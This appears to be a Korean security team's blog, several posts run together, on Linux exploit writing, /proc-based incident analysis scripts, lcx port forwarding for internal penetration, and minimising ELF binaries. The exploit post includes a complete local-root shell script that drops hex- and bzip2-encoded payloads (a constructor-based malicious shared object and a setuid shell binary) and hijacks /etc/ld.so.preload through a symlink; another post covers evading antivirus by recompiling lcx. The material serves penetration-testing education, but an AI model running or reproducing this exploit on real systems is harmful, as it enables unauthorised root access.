System Call Tracer를 통해 확인한 경우 ptrace()의 영향으로 인해 파일의 setuid bit가 무시되어 getuid() 계열의 함수 반환 값이 일반 사용자 User-ID로 표현되어 있지만, 선적재 된 라이브러리의 함수인 init() 함수가 Constructor 속성에 의해 프로그램 시작 초기에 실행된다는 것을 알 수 있습니다.


지금까지 Linux 환경에서 가능한 ConstructorPre-loaded Libraries에 대해 알아보았는데요. 실제 이것이 어떻게 Exploit Techniques와 연결될 수 있는지 그 실 예를 다음 편에서 알아보도록 하겠습니다.

Exploit Writing Technique #4: Applied Exploits

기획 연재 2018. 1. 24. 20:40 Posted by TEAMCR@K


정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


우리는 지금까지 중요한 포인트 2개를 살펴보았습니다.


● GCC syntax를 사용한 Constructor의 구현

● 선적재 라이브러리


위 과정에서 공유라이브러리의 Constructor의 구현 역시 가능하다는 것을 알 수 있었습니다. 지금까지 알아본 내용을 토대로 실제 exploit이 어떻게 구현이 가능한지 실 예를 통해 말씀 드려볼까 합니다.


(1) N.Korea RedStar 2.0 Incorrect permission local root exploit


지난 2012년 저희 TeamCR@K이 블로그에 포스팅 했던 글 중 북한 리눅스 '붉은별' 권한 상승 취약점을 살펴보고자 합니다. 글을 포스팅 했던 당시 내부 지침에 의해 exploit의 전체 내용을 공유드리지는 못했지만, 시일이 많이 흐른 관계로 해당 내용을 조금 더 자세하게 공유하도록 하겠습니다.



exploit은 C 버전과 Perl 버전이 존재하며, exploit 환경은 Comment 영역에 기록해 두었습니다.


붉은별 리눅스는 배포과정에서 공유라이브러리의 파일 퍼미션이 777(-rwxrwxrwx) 형태로 존재하여 기타 사용자가 해당 공유 라이브러리의 내용을 Overwrite 할 수 있는 환경이었습니다. 따라서 root 권한의 setuid bit가 설정되어 있는 대표적인 유틸리티 중 하나인 /bin/ping을 대상으로 참조되는 라이브러리를 파악했고, 네트워크 관련 라이브러리인 libresolv.so의 내용을 Overwrite하는 것으로 설정하였습니다.


exploit의 Perl 버전은 미리 컴파일 된 공유라이브러리와 쉘을 실행시키는 코드를 bzip2 압축형태로 사용했고, C 버전은 근본이 되는 C코드를 넣어 직접 컴파일 하도록 구현했었습니다. 이 때 공격에 사용될 라이브러리로 만든 코드에 Constructor 속성을 가지도록 하여 root 권한의 setuid bit가 설정된 프로그램 실행 시, root 권한의 쉘을 먼저 실행하도록 구성했습니다. 


[그림 1] C버전 exploit 중 Constructor 속성을 가진 라이브러리 함수 사용 루틴


exploit을 통해 조작된 libresolv.so 라이브러리가 로드 될 때, Constructor 속성을 가진 init() 함수가 먼저 실행되므로 init() 함수 안에서 system() 함수를 통해 사용된 /bin/bash 실행이 끝난 이 후 /bin/ping의 프로그램이 정상적으로 실행되는 것을 알 수 있습니다.   


[그림 2] 라이브러리의 Constructor 속성을 이용한 exploit


(2) Insecure file creation vulnerability


root 권한으로 파일을 생성할 때, 생성되는 파일의 소유 권한을 고려하지 않고 코드를 작성하는 경우 보안 취약점이 발생할 수 있습니다. 아래의 코드는 실제 저희 TeamCR@K이 모의해킹 도중 권한 상승 취약점을 이용했던 케이스로 취약점 발생 포인트만 재 구현해서 설명 드리고자 합니다.


/*

* vuln.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for insecure file creation vulnerability

*/

#include <stdio.h>

#include <dirent.h>


int main(int argc, char **argv)

{

        FILE *fp = NULL;

        char logfile[1024];


        snprintf(logfile, sizeof(logfile), "logs/%s.log", argv[0]);


        if((fp = fopen(logfile, "a+")) != NULL) {

                fputs("Write log contents!\n", fp);

                fclose(fp);

        }

        return 0;

}


위 코드는 다수개의 보안 취약점을 내포하고 있지만, 제일 큰 문제가 되는 것은 생성되는 파일의 기본 소유권한에 대해 검증하지 않는 코드라는 것입니다. 파일을 실행하면, logs 디렉터리에 프로그램 이름의 문자열을 따서 로그파일을 생성합니다. 그러나 파일 생성 시 파일 소유 권한을 지정할 수 없는 fopen() 함수를 이용하여 보안 취약점에 노출 될 수 있습니다.

다음 화면은 위 보안 취약점이 내포된 프로그램을 어떤 형태로 조작이 가능한지 테스트 해 본 화면입니다.


[그림 3] umask 를 이용해 파일 생성 시 소유 권한 조작


위 프로그램은 생성되는 파일에 대한 적절한 검증 절차가 존재하지 않아 umask를 이용해 생성되는 파일의 기본 소유 권한을 변경할 수 있고, 또한 로그파일 이름 자체가 프로그램명(Argument Value)과 연계되므로 원본 파일에 새로운 이름으로 symbolic link를 생성하여 symbolic link의 이름으로 실행한다면 로그파일 이름도 조작이 가능합니다. 

기본적으로 우리가 이제까지 공부한 Constructor 개념과 /etc/ld.so.preload의 선적재 라이브러리의 특성을 이용하면 위 보안 취약점을 이용한 권한 상승 exploit의 작성이 가능할 듯 합니다.


공격을 위한 기본 시나리오는 아래와 같습니다.


1. 쉘 실행 바이너리 생성 (/tmp/.teamcrak-root)

2. /tmp/.teamcrak-root 파일을 root 권한으로 변경하고 setuid 퍼미션을 세팅할 악의적인 공유라이브러리를 Constructor 속성을 가지도록 생성 (/tmp/evil.so)

3. 로그파일을 /etc/ld.so.preload 파일로 symbolic link 생성

4. vuln 실행

5. /etc/ld.so.preload 파일 생성 확인

6. /etc/ld.so.preload 파일에 /tmp/evil.so 문자열 Overwrite

7. root 권한의 setuid 파일 실행

8. /tmp/.teamcrak-root 파일에 root 권한의 setuid bit 설정 유무 확인

9. /tmp/.teamcrak-root 파일 실행 (root 권한 획득)


다음은 위 시나리오를 기반으로 쉘 스크립트 형태로 작성한 exploit 입니다.


#!/bin/sh

TARGET="/etc/ld.so.preload"

EVIL_BIN="/tmp/evil.so"

ROOTSHELL="/tmp/.teamcrak-root"

WORKDIR="/home/indra/Project/ld.so.preload/stage3"

VICTIM="vuln"

LOGFILE="${WORKDIR}/logs/TeamCRAK.log"


echo "###########################################################################"

echo "#####          Local root exploit for vulnerability example           #####"

echo "#####                                      - Insecure file creation - #####"

echo "#####                                                                 #####"

echo "#####                                                     2018.02.03  #####"

echo "#####                            Exploited by TeamCR@K in A3Security  #####"

echo "#####                                                                 #####"

echo "###########################################################################"


rm -rf ${EVIL_BIN}*

# ##################### 32BIT shared object binary

# #define ROOT "teamcrak-root\

# const char *rs = "/tmp/." ROOT;

# void __attribute__((constructor)) init(void) {

# setgid(0); setuid(0); chown(rs, 0, 0); chmod(rs, 06777); }

echo -ne "\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x96\xAD\xA2\x87\x00\x01\

\x67\x7F\xEF\xFF\xFF\xFE\x96\xC2\x6B\xE4\x08\x57\x44\x48\x48\xBF\

\xEF\xFE\x64\xC0\xA2\x14\x00\x41\x68\x0C\x62\x72\x68\x28\x4C\x23\

\x01\xB0\x01\x95\x81\x68\x34\x41\x53\x6C\xA8\xD0\x07\xA8\x00\x7A\

\x8D\x0F\x50\x7A\x9A\x00\xD0\x00\x06\x8D\x1E\xA0\x34\x07\xA4\xF4\

\x98\x9E\xA3\xD4\x22\x98\x99\x27\xA9\x3D\x34\x9B\x46\x80\x23\x4C\

\x4C\x8C\x09\xE8\x11\x80\x8C\x01\xA8\xD3\x26\x99\x0D\x0C\x9A\x0D\

\x31\x02\x44\xA2\x99\x94\x68\x1A\x26\x68\x00\x13\x13\x4C\x09\x93\

\x4C\x01\x0C\x4F\x51\x88\x62\x64\xC2\x69\xA6\x4D\x32\x60\xA6\x55\

\x04\x4A\x06\x10\xD2\x11\x05\x70\x50\x51\x8F\x20\xC5\x7E\x98\x51\

\x6A\x51\x73\x8C\xD1\x79\x8A\x8B\x75\x8E\x80\x30\xC8\x14\x5E\x19\

\x16\x30\x00\xD0\xB4\xA2\x14\x52\x81\x8B\x51\x07\xA6\x5F\x9E\x03\

\xF4\xF2\xB0\x5C\x7C\xEE\x5C\x40\x9C\xEB\x71\x56\xAC\x90\xFB\xCE\

\x64\x31\xD4\xE5\xB6\xD4\xA9\x89\x69\x7F\x52\xE6\x85\xED\x74\xE4\

\x4F\x34\x96\xB4\x85\x4E\xBE\x02\x18\x91\x3B\x06\xD2\x6D\x26\xD2\

\x4D\xA6\xD2\x6C\x26\x82\x0A\x11\x03\x60\xDD\x63\x64\x46\xDC\x91\

\x23\x21\xB7\x0D\x37\x62\xC5\x41\xA1\x0F\x22\x00\x2E\x98\x05\xFB\

\x3D\x6C\x57\x0D\x0A\xD1\x85\x1D\x58\x58\xF5\x76\xFD\xFB\x15\x77\

\x68\x80\x6D\x4C\x79\x56\xCA\x24\x5B\xA6\x6B\x60\x2B\x69\x0D\x16\

\x8A\x2C\xFB\x9A\x3A\xA3\x26\x86\x60\x4A\x38\x9B\x5E\x8E\xD3\x0B\

\xE6\x4E\xD0\xAB\x1D\xC3\x41\x5E\xCA\x89\xA1\x7A\x5A\x03\x29\xAB\

\x1C\x88\xF0\xE3\x80\xC4\x4E\x9D\x36\x99\x84\xA4\x95\x85\x27\x42\

\x7E\xFA\x72\x8A\xC1\xA3\xE8\xCD\xE6\x1F\x57\xA5\x2F\xC2\x4A\xDE\

\x0A\xE9\x0A\xB5\x7D\x92\x52\x76\x51\x09\x98\xF0\xE9\xA2\x92\x1C\

\x86\xC3\x85\x9B\x49\xEB\x32\x9F\x9A\x34\x05\x21\x02\x67\xC1\xA2\

\xC8\x74\xC7\x36\xCB\x1A\x90\x1A\x26\x59\x9A\x3D\xD4\xD0\x42\x39\

\x59\x70\x01\xF2\x8D\x03\x8C\x08\x98\xC3\xC0\xEF\xDA\x24\xB9\x13\

\xFA\x45\x80\x6B\x91\x25\x0A\x76\x64\x30\x53\x6C\xD9\x61\x1F\xC5\

\x56\x6C\x36\xB6\xF4\xE7\x5B\x28\x36\xF1\x17\xC0\x53\x79\x85\x10\

\x06\x22\xFA\x8E\xB0\x50\xE7\x32\x11\x58\x75\x24\x5E\x95\xC5\x6D\

\x2A\x95\x24\xCE\x70\xA3\x8F\x0A\xAC\x75\x56\x17\xA8\x81\xEA\x91\

\x25\x7B\x16\x9F\x9D\x16\xA4\x3F\x68\x89\x0F\x58\x4A\x72\xCB\xFE\

\x2E\xE4\x8A\x70\xA1\x21\x2D\x5B\x45\x0E" > ${EVIL_BIN}.bz2

bzip2 -d ${EVIL_BIN}.bz2


echo -ne "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\

\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00\

\x94\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\

\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\

\x00\x80\x04\x08\x81\x00\x00\x00\x81\x00\x00\x00\x05\x00\x00\x00\

\x00\x10\x00\x00\x31\xDB\x89\xD8\xB0\x2E\xCD\x80\x31\xDB\x89\xD8\

\xB0\x17\xCD\x80\xEB\x0D\x5B\x31\xD2\x89\xD0\x52\x53\x89\xE1\xB0\

\x0B\xCD\x80\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68" > ${ROOTSHELL}


if [ -f ${ROOTSHELL} ]; then

        if [ -f ${EVIL_BIN} ]; then

                echo "[*] Preparing environment: OK!"

        else

                echo "[!] No such ${EVIL_BIN}"

                break;

        fi

else

        echo "[!] No such ${ROOTSHELL}"

        break;

fi


# Creation a symbolic link

rm -rf ${LOGFILE}; ln -sf ${TARGET} ${LOGFILE}

rm -rf TeamCRAK; ln -sf ${WORKDIR}/${VICTIM} TeamCRAK


# setup umask

umask 0000


./TeamCRAK 2>/dev/null &


if [ -f ${TARGET} ]; then

        echo "${EVIL_BIN}" > ${TARGET} 2>/dev/null

        break;

fi

ping 2>/dev/null 1>/dev/null


if [ -u "${ROOTSHELL}" ]; then

        echo "[*] Exploit Successfully!~"

        echo "[*] Voila~ r00t sh3LL!"

        echo "" > ${TARGET}

        ${ROOTSHELL}

else

        echo "[*] Exploit failed."

fi


다음은 위 exploit을 통해 실제로 root 권한의 쉘을 획득하는 화면입니다.


[그림 4] 안전하지 않은 파일 생성 취약점을 통한 로컬 권한 상승


위 exploit 구현 중 쉘을 실행하는 ELF 바이너리와 공유 라이브러리는 파일 사이즈를 극도로 최소화 하는 과정을 거쳤는데, 해당 내용은 저희 TeamCR@K에서 예전에 포스팅 했던 다음 페이지에서 살펴보실 수 있습니다.



보신바와 같이 프로그램에서 생성되는 파일의 소유 권한이 악용되는 경우 이를 어떻게 통제할 수 있을까요?

fopen() 과 같이 생성되는 파일의 소유 권한을 정의할 수 없는 경우라면, umask() 함수를 이용해 생성되는 파일의 소유 권한을 초기화 하고 사용 할 수 있을 것 입니다.

다음 화면은 fopen() 함수 사용 이전, umask() 를 사용해 파일 소유 권한을 초기화 한 후 생성된 파일을 확인하는 화면입니다.


[그림 5] umask() 함수 사용을 통한 파일 생성 시 소유 권한 초기화 결과


setuid bit가 걸린 프로그램은 프로세스 실행 도중 권한이 변경되어 작용하므로 생성되는 파일 관리에도 각별한 주의를 필요로 합니다.

자! 지금까지 저희 TeamCR@K이 준비한 "Exploit Writing Technique"이 마무리가 되었습니다.
재미있게 보셨는지 모르겠습니다. :)
저희 팀은 올해 더 다양한 분야에 대한 연구나 기반기술에 대한 연구를 진행할 예정입니다.
비록 업무가 바빠 블로그에 많은 신경을 쓰지는 못했지만 올해에는 조금 더 다양한 자료로 자주 찾아뵐 것을 약속드리며, 
의문사항이나 지적사항은 댓글이나 a3_crak@a3security.com 으로 메일 보내드시면 감사하겠습니다! ;-)

읽어주셔서 감사합니다!


/proc 파일시스템의 활용

서버/WAS/DBMS 2014. 12. 5. 14:01 Posted by TEAMCR@K

날씨가 갑작스럽게 추워진 12월입니다.

추위가 기승을 부리는데 보안관련 사건사고도 끊이지 않고 있네요.

오늘은 수 많은 보안관련 이슈 중 침해사고에 관련된 내용을 조금 전해드릴까 합니다.


보통 침해사고가 일어날 경우 루트킷이나 백도어가 설치되고 관리자가 이를 알아채지 못하도록 바이너리를 변조하는 행위를 하게 됩니다.

ps나 netstat과 같은 명령어들을 변조하면 프로세스 현황이나 네트워크 현황을 정상적으로 출력하지 못하겠죠.

이에 침해사고 분석 시에는 변조되지 않은 바이너리를 업로드하는 등의 형태로 진행하는 경우가 많습니다.


오늘은 /proc 파일시스템을 사용하여 간단하게 프로세스 정보와 네트워크 현황 정보를 볼 수 있는 방법을 알아볼까 합니다.

/proc 파일시스템을 분석하면 서버에 대한 많은 정보들을 알 수 있는데, 굳이 침해사고 분석 케이스만이 아니더라도 활용할 수 있는 부분이 많습니다.


* /proc 파일시스템을 활용한 네트워크 현황 체크하기

#!/bin/sh

#

# mini-netstat.sh

#

# Coded by TeamCR@K in A3Security

# TeamCR@K: 1ndr4, bash205, blarees, alrogia, fr33p13, kgyoun4, rhaps0dy, CrazyPure

#

FILES=("/proc/net/tcp" "/proc/net/tcp6")

for FILE in ${FILES[@]}; do

        echo "[*] ------------------- ${FILE}"

        echo

        echo -e "Local Address\tRemote Address"

        for LINE in $(cat ${FILE} | awk -F" " '{ print $2 "|" $3 }' | egrep -v address); do

                N=2

                IDX=0

                LINE_ARRAY=("")

                for ((P = 1; P < ${#LINE}; P+=2,N+=2,IDX++)) ; do

                        C=`echo "${LINE}" | cut -b ${P}-${P}`

                        if [ "${C}" == ":" ] || [ "${C}" == "|" ]; then

                                P=${P}-1; N=${N}-1;

                                continue

                        fi

                        LINE_ARRAY[${IDX}]=`echo "${LINE}" | cut -b ${P}-${N}`

                done

                # /proc/net/tcp

                if [ "${#LINE_ARRAY[@]}" == "12" ]; then

                        START=1

                        LOCAL_ADDR="$((16#${LINE_ARRAY[3]})).$((16#${LINE_ARRAY[2]})).$((16#${LINE_ARRAY[1]})).$((16#${LINE_ARRAY[0]}))"

                        LOCAL_PORT="$((16#${LINE_ARRAY[5]}${LINE_ARRAY[6]}))"

                        RMT_ADDR="$((16#${LINE_ARRAY[11]})).$((16#${LINE_ARRAY[10]})).$((16#${LINE_ARRAY[9]})).$((16#${LINE_ARRAY[8]}))"

                        RMT_PORT="$((16#${LINE_ARRAY[13]}${LINE_ARRAY[14]}))"

                        echo -e "${LOCAL_ADDR}:${LOCAL_PORT}\t${RMT_ADDR}:${RMT_PORT}"

                # /proc/net/tcp6

                elif [ "${#LINE_ARRAY[@]}" == "36" ]; then

                        LOCAL_ADDR="$((16#${LINE_ARRAY[15]})).$((16#${LINE_ARRAY[14]})).$((16#${LINE_ARRAY[13]})).$((16#${LINE_ARRAY[12]}))"

                        LOCAL_PORT="$((16#${LINE_ARRAY[17]}${LINE_ARRAY[18]}))"

                        RMT_ADDR="$((16#${LINE_ARRAY[35]})).$((16#${LINE_ARRAY[34]})).$((16#${LINE_ARRAY[33]})).$((16#${LINE_ARRAY[32]}))"

                        RMT_PORT="$((16#${LINE_ARRAY[37]}${LINE_ARRAY[38]}))"

                        echo -e "${LOCAL_ADDR}:${LOCAL_PORT}\t${RMT_ADDR}:${RMT_PORT}"

                else

                        echo "[!] Parse Error: ${LINE}"

                fi

        done

done


위 쉘 스크립트는 /proc/net/tcp, /proc/net/tcp6 파일의 내용을 파싱하여 현재 네트워크 현황을 알 수 있도록 제작된 스크립트입니다.

해당 쉘 스크립트를 실행하면 다음과 같이 netstat 명령의 결과와 비슷한 출력 결과를 보실 수 있습니다.


[그림 1] mini-netstat.sh 실행화면


/proc/net/tcp와 tcp6 파일은 Hex-Decimal 형태로 되어 있는데, 이를 변환하면 아이피와 포트정보를 알 수 있습니다.


[그림 2] 아이피와 포트정보가 Hex-Decimal 형태로 존재하는 /proc/net/tcp와 tcp6 파일


tcp와 tcp6의 내용을 변환하도록 하는 코드를 짜내느라 애 좀 먹었습니다. ^^;


* /proc 파일시스템을 활용한 프로세스 현황 체크하기

#!/bin/sh

# mini-proc.sh

#

# Coded by TeamCR@K in A3Security

# TeamCR@K: 1ndr4, bash205, blarees, alrogia, fr33p13, kgyoun4, rhaps0dy, CrazyPure

#

ROOT="/proc"

DELIM='|'


# Printable variables

REALPATH=""

CMDLINE=""

_USER=""

_UID=""


RESULT="<PID>${DELIM}<USER>${DELIM}<REALPATH>${DELIM}<CMDLINE>\n"


for PID in $(ls ${ROOT}); do

    DIR="$ROOT/$PID"

    if [ ! -d "$DIR" ]; then

        continue

    fi

    STATUS="$DIR/status"

    ############

    # 1. Get a valid process

    ###########

    if [ ! -f "${STATUS}" ]; then

        continue

    fi


    ############

    # 2. Get command line information of the process

    ###########

    CMDLINE=`cat /proc/${PID}/cmdline | sed -e 's/\x00/\x20/g'`

    if [ "$CMDLINE" == "" ]; then

        CMDLINE=`grep "Name:" ${STATUS} | awk '{ print $2 }'`

        if [ "$?" == "0" ]; then

                CMDLINE="[${CMDLINE}]"

        else

                CMDLINE="[Unknown]"

        fi

    fi


    ############

    # 3. Get real path of process binary

    ###########

    REALPATH=`readlink ${ROOT}/${PID}/exe`

    if [ "$?" == "1" ]; then

        REALPATH="[UNKNOWN]"

    fi


    ############

    # 4. Get UserID information of the process

    ###########

    _UID=`grep Uid /proc/${PID}/status | awk '{ print $2 }'`

    _USER=`getent passwd ${_UID} | cut -d: -f1`

    LINE="${PID}${DELIM}${_USER}${DELIM}${REALPATH}${DELIM}${CMDLINE}"

    RESULT="${RESULT}\n${LINE}"

done

echo -e $RESULT | column -t -s '|'


위 쉘 스크립트는 /proc/${PID}/status 파일과 /proc/${PID}/cmdline 파일을 기반으로 현재 실행되고 있는 프로세스 정보들을 출력하는 스크립트입니다.

해당 쉘 스크립트를 실행하면 다음과 같은 출력형태를 보실 수 있습니다.


[그림 3] mini-proc.sh 실행화면


간단하게 프로세스아이디 및 유저 정보, 프로세스 명을 출력하도록 되어 있습니다.

출력 결과 중 <REALPATH> 항목이 존재하는데 이는 프로세스의 실제 이미지 경로를 출력하도록 되어 있는 항목입니다.

본래 루트킷이나 백도어의 경우 프로세스 명을 숨기도록 작업한 사례들이 종종 있었습니다.

다음 화면은 프로세스 실행 중 ARGV[0] 메모리 영역을 다른 문자열로 Overwrite 하여 프로세스 명을 숨기도록 한 예입니다.


[그림 4] 프로세스 명을 숨기는 케이스


argv[0] 메모리 영역에 "[kjournald]"라는 문자열을 덮어씌워 일반적인 ps 명령으로 보면 정상적인 kernel thread로 오인할 수 있습니다.

<REALPATH> 항목은 위와 같은 경우를 위해 출력하도록 만든 항목입니다.

아래는 프로세스 명을 숨기도록 한 케이스에 mini-proc.sh 스크립트 실행을 적용해보았습니다. 


[그림 5] 프로세스 이미지의 실제 경로를 출력한 화면


kernel thread인 경우 프로세스 이미지의 FULL-PATH를 알 수 없어 "[UNKNOWN]"으로 표기됩니다.

그 외의 경우 일반 유저 권한으로 타 계정의 /proc 파일 시스템 파일의 열람권한이 없으므로 "[UNKNOWN]"으로 표기되는 경우가 있는데, 이는 root 권한으로 실행하여 해결 할 수 있습니다.


[그림 6] root 권한으로 실제 프로세스 이미지 경로를 얻어오기


/proc 파일시스템을 활용하면 위에 말씀드린 내용들보다 더 많은 정보들을 얻어올 수 있습니다.

/proc/$$/maps를 보면 현재 프로세스의 메모리 맵핑 정보를 볼 수 있고 /proc/cpuinfo나 /proc/meminfo를 참조하면 하드웨어 스펙을 알 수 있습니다.

또한 /proc/${PID}/fd 를 참조하면 해당 프로세스에서 open한 파일들을 알 수 있기 때문에 간이 lsof를 만드는 것도 가능할 듯 합니다.

linux를 조금 더 알고 싶으신 분들은 지금이라도 /proc 파일시스템에 관심을 가져보는 것은 어떨까요? ^^;


저희가 준비한 내용은 여기까지 입니다.

2014년 막바지에 날씨가 많이 추워졌으니 모두 몸 조심하시고 건강한 겨울 나시길 빌겠습니다.


읽어주셔서 감사합니다.


얼마전 포스팅 했던 CVE-2013-4011 AIX InfiniBand 취약점을 통해 본 고전해킹글을 보신 어떤 분께서 아래와 같은 질문을 하셨습니다.


"A3는 모의해킹 시, 내부 침투를 위해 어떤 방법을 사용합니까?"


해당 포스팅 글 중 캡쳐화면의 일부에서 192.x 로 시작하는 사설아이피 정보가 노출되어 궁금해지셨다고 합니다.

모의해킹을 하기 위한 방법은 팀마다 소유하고 있는 노하우가 다르고, 개개인 역시 사용하는 툴이나 방법도 다양합니다.

따라서 이것이 정답이다! 라고 하기 보다, 많은 방법들 중 포트포워딩을 통한 내부 침투의 케이스를 공유해볼까 합니다.


본 포스팅에서 설명 드리게 될 포트포워딩에 사용되는 툴은 lcx라는 툴로, 한때 웜 바이러스나 중국발 해킹 등에 사용된 포트포워딩 악성프로그램입니다.

악성프로그램이지만 동작구조가 응용하기 쉽게 되어 있는 프로그램이기 때문에 모의해킹에 사용되기도 합니다.


우선 다음 구조도를 참고하시면 lcx를 사용한 내부 침투가 어떻게 이루어지는지 간단하게 이해하실 수 있을 듯 합니다. 


[그림 1] lcx를 사용하여 포트포워딩으로 구성한 내부 침투 구조도


lcx의 경우 중국발 해킹에 사용되었기 때문에 소스코드는 유출이 되지 않은 것으로 알고 있습니다.

2007년경 침해사고 분석 시, Windows 서버에서 lcx를 접하고 이를 모의해킹에 응용하기 위해 구조를 분석하여 Clone 프로그램을 만드는 개인 프로젝트를 했었습니다.

현재 저희 팀 모의해킹에 사용되는 lcx Clone 프로그램은 해당 프로젝트의 산출물인 셈 입니다.

lcx Clone 프로그램은 Windows 용 lcx와 호환이 가능할 뿐 아니라 소스코드가 온전히 보존되어 있기 때문에 타 플랫폼에서 사용도 가능하며, lcx를 악성프로그램으로 탐지하는 백신의 경우 재 컴파일하여 우회할 수 있는 등의 특징이 있습니다.


Web Server가 Windows인 경우, SQL Injection 취약점으로 명령어를 실행할 수 있는 환경이거나 파일 업로드 취약점을 이용하여 웹쉘을 통해 명령어를 실행 할 수 있는 경우 lcx를 업로드 하고, 이를 통해 내부 네트워크에 있는 다른 서비스들을 접근할 수 있습니다.

다음 화면들은 위 [그림 1] lcx를 사용하여 포트포워딩으로 구성한 내부 침투 구조도 그림에서 보실 수 있는 구조와 같이 lcx를 이용해 Web Server의 터미널 서비스(3389 포트)에 접근하는 과정입니다.


[그림 2] lcx를 사용하여 loopback(127.0.0.1)의 터미널 서비스 포트(3389) 리다이렉트


[그림 3] 포트포워딩을 통해 방화벽 Inbound 룰셋을 우회하여 터미널 관리권한 획득


위 화면들을 통해 포트포워딩으로 Inbound 룰셋을 우회하고 내부의 다른 서비스포트로 접근이 가능한 것을 볼 수 있습니다.

slave 역할을 하는 서버에서 loopback이 아닌 다른 아이피 주소와 포트를 지정하면 다음과 같은 시나리오도 가능하다는 것을 알 수 있습니다.

[그림 4] 포트포워딩을 통해 물리적으로 별도 존재하는 DB 서버 접근


위와 같이 물리적으로 별도 서버로 존재하는 경우는 아니지만, 다음 화면들을 통해 MS-SQL 서비스 포트(1433)를 포워딩하여 GUI 환경의 데이타베이스 관리 및 점거가 가능함을 볼 수 있습니다.


[그림 5] MS-SQL 서버의 서비스 포트(1433) 리다이렉트 설정


[그림 6] 리다이렉트 된 포트를 사용하여 MS-SQL GUI 관리프로그램을 통한 로그인 성공


저희 TeamCR@K이 모의해킹 중 내부침투를 위해 어떤 방법을 사용하는지..에 대한 궁금증이 조금은 풀리셨는지 모르겠습니다.

이러한 방법이 탐지되고 막히면 저희는 또 다른 연구를 통해 우회방안을 만들어야겠지요.. ^^;

그러나 대한민국 IT보안을 위하는 것이라면 그러한 수고(?)쯤은 하나도 힘들지 않을 것 같습니다. ^^

보안이라는 것은 강조하고 또 강조해도 모자름이 없을테니까요..


읽어주셔서 감사합니다.

1. Linux ELF Binary Hack #1 (언어론적 고찰)

2. Linux ELF Binary Hack #2 (구조론적 고찰)


지난번에 다루었던 1. Linux ELF Binary Hack #1 (언어론적 고찰)편에서는 단순히 프로그래밍 언어에 한정하여 파일의 크기를 줄이는 시도를 했었다면 이번에는 실행파일 구조의 특성과 툴을 사용하는 방법들을 통해 접근해보고자 합니다.


먼저 ELF 파일 포멧을 알아보는 툴로 objdump라는 툴이 있습니다.

해당 툴을 이용해 ELF 파일 포멧 구조를 대강 알 수 있는데, 다음과 같이 활용 해 볼 수 있습니다.


[그림 1] objdump툴의 -S 옵션으로 바이너리 분석


위 그림은 objdump툴로 디스어셈블(Disassemble)해 본 화면입니다.

main 함수의 주소는 0x08048374이며, _start 영역에서 해당 main 함수의 주소를 stack에 저장하는 것을 볼 수 있습니다.

이러한 과정은 왜 거치는 것일까요?

다음 Link에는 Linux에서 main 함수가 어떻게 실행되는지 간략하게 설명되어 있습니다. 참조하시면 도움이 되실 듯 합니다.


http://www.tldp.org/LDP/LGNET/issue84/hawk.htmlHow main() is executed on Linux By Hyouck "Hawk" Kim


objdump 툴을 사용해 _start 함수의 정보를 알아내고 해당 주소가 바이너리의 어느 부분에 존재하는지 찾아보았습니다. 


[그림 2] 바이너리 파일 내에 존재하는 start 함수 주소


해당 내용을 조금 더 자세하게 확인하기 위해 ELF 파일포멧의 구조체가 정의된 헤더파일을 참조해 보았습니다.


[그림 3] ELF 정의 구조체와 실제 바이너리 파일 비교


ELF 파일 포멧의 구조들을 확인 한 후 프로그램 시작점을 main 함수 대신 _start 함수로 정의하면 어떨까 생각해 보았습니다.

다음은 main 을 함수의 시작으로 정의하지 않고 _start를 프로그램의 시작으로 정의하여 Assembly 소스코드를 작성하고 컴파일 해 보았습니다.


[그림 4] gcc 컴파일러의 -nostdlib 옵션 사용


처음 시도 시, _start 함수에 대해 "다중 정의 에러"라고 컴파일 되지 않았던 문제는 gcc 의 -nostdlib 옵션을 사용해 컴파일 한 결과 정상적으로 컴파일 및 실행이 되는 것을 확인 할 수 있습니다.

gcc 의 -nostdlib 옵션에 대해 man 페이지는 다음과 같이 설명되어 있습니다.


       -nostdlib

           Do not use the standard system startup files or libraries when

           linking.  No startup files and only the libraries you specify will

           be passed to the linker.  The compiler may generate calls to "mem-

           cmp", "memset", "memcpy" and "memmove".  These entries are usually

           resolved by entries in libc.  These entry points should be supplied

           through some other mechanism when this option is specified.


           One of the standard libraries bypassed by -nostdlib and -nodefault-

           libs is libgcc.a, a library of internal subroutines that GCC uses

           to overcome shortcomings of particular machines, or special needs

           for some languages.


           In most cases, you need libgcc.a even when you want to avoid other

           standard libraries.  In other words, when you specify -nostdlib or

           -nodefaultlibs you should usually specify -lgcc as well.  This

           ensures that you have no unresolved references to internal GCC

           library subroutines.  (For example, __main, used to ensure C++ con-

           structors will be called.)


대략적으로 gcc의 -nostdlib 옵션을 사용하여 컴파일 하는 경우 링크 시에 기본적인 시스템 초기 라이브러리들을 링크하지 않는다는 내용입니다. 따라서 기존에 _start가 정의되어 있던 라이브러리는 배제하고 Object 파일을 생성할 수 있고, "다중 정의 에러"를 회피 할 수 있습니다.

결과적으로 main 대신 _start를 프로그램 시작점으로 사용하고 기본 라이브러리를 배제하는 형태로 472바이트의 쉘 실행 바이너리를 만들어 낼 수 있었습니다.

여기서 조금 더 욕심을 내어 shellcode 작성과 같이 NUL문자(0x00)를 제거하는 형태로 수정해 보기로 하였습니다.


[그림 5] Assembly 상태의 0x00 코드 제거


수정을 해 보았지만 파일 크기에 큰 변화가 있지는 않았습니다.

마지막으로 조금 더 바이너리를 작게 만들기 위해 극단적인 시나리오를 생각해 보았습니다.


"이미 쉘 실행이 되어 있는 상태는 메모리에 프로세스 이미지로 존재하는 상태이므로, 이후 정리작업에 필요한 코드를 삭제해보자"


따라서 기존 바이너리에서 쉘 실행 이후 사용될 법한 부분들을 삭제해보기로 하였습니다.


[그림 6] dd로 바이너리 파일 쪼개기


쉘 실행에 필요한 부분은 int 0x80 (0xCD 0x80)까지 이므로, 이후의 내용은 모조리 날려보았습니다.

그렇게 하여 109바이트짜리 Linux 실행 파일이 만들어졌고, 정상적으로 동작하는 것도 확인 할 수 있었습니다. 


